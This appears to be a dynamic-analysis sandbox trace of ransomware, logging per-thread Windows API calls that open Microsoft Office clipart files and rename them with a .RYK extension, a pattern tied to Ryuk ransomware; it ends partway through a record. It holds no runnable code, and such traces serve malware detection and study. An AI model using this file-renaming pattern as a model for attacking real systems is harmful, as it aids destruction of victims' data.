	[0239.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1920
	os_tid = 0x23f8

	[0238.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF", dwFileAttributes=0x80) returned 0
	[0238.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1921
	os_tid = 0x23fc

	[0238.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF", dwFileAttributes=0x80) returned 0
	[0238.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1922
	os_tid = 0x1fc4

	[0238.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF", dwFileAttributes=0x80) returned 0
	[0238.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1923
	os_tid = 0x20a4

	[0238.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF", dwFileAttributes=0x80) returned 0
	[0238.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1924
	os_tid = 0x2068

	[0238.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF", dwFileAttributes=0x80) returned 0
	[0239.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1925
	os_tid = 0x1ffc

	[0238.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF", dwFileAttributes=0x80) returned 0
	[0239.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1926
	os_tid = 0x2064

	[0238.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF", dwFileAttributes=0x80) returned 0
	[0239.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1927
	os_tid = 0x17e8

	[0238.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF", dwFileAttributes=0x80) returned 0
	[0239.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1928
	os_tid = 0x17e4

	[0238.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF", dwFileAttributes=0x80) returned 0
	[0239.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1929
	os_tid = 0x1844

	[0238.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF", dwFileAttributes=0x80) returned 0
	[0239.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1930
	os_tid = 0x17fc

	[0238.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF", dwFileAttributes=0x80) returned 0
	[0239.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.271] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1931
	os_tid = 0x2208

	[0238.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF", dwFileAttributes=0x80) returned 0
	[0239.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1932
	os_tid = 0x2204

	[0238.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF", dwFileAttributes=0x80) returned 0
	[0239.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1933
	os_tid = 0x21e8

	[0238.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF", dwFileAttributes=0x80) returned 0
	[0239.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1934
	os_tid = 0x2034

	[0238.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF", dwFileAttributes=0x80) returned 0
	[0239.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1935
	os_tid = 0x2030

	[0238.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF", dwFileAttributes=0x80) returned 0
	[0239.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1936
	os_tid = 0x2180

	[0238.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF", dwFileAttributes=0x80) returned 0
	[0239.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1937
	os_tid = 0x1194

	[0239.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF", dwFileAttributes=0x80) returned 0
	[0239.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1938
	os_tid = 0x20a0

	[0239.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF", dwFileAttributes=0x80) returned 0
	[0239.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.304] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1939
	os_tid = 0x1190

	[0239.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF", dwFileAttributes=0x80) returned 0
	[0239.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1940
	os_tid = 0xf44

	[0239.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF", dwFileAttributes=0x80) returned 0
	[0239.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1941
	os_tid = 0x1154

	[0239.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF", dwFileAttributes=0x80) returned 0
	[0239.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1942
	os_tid = 0x118c

	[0239.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF", dwFileAttributes=0x80) returned 0
	[0239.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.297] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1943
	os_tid = 0x60c

	[0239.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF", dwFileAttributes=0x80) returned 0
	[0239.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.295] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1944
	os_tid = 0x2404

	[0239.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG", dwFileAttributes=0x80) returned 0
	[0239.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1945
	os_tid = 0x2408

	[0239.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG", dwFileAttributes=0x80) returned 0
	[0239.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.293] CloseHandle (hObject=0xffffffffffffffff) returned 0
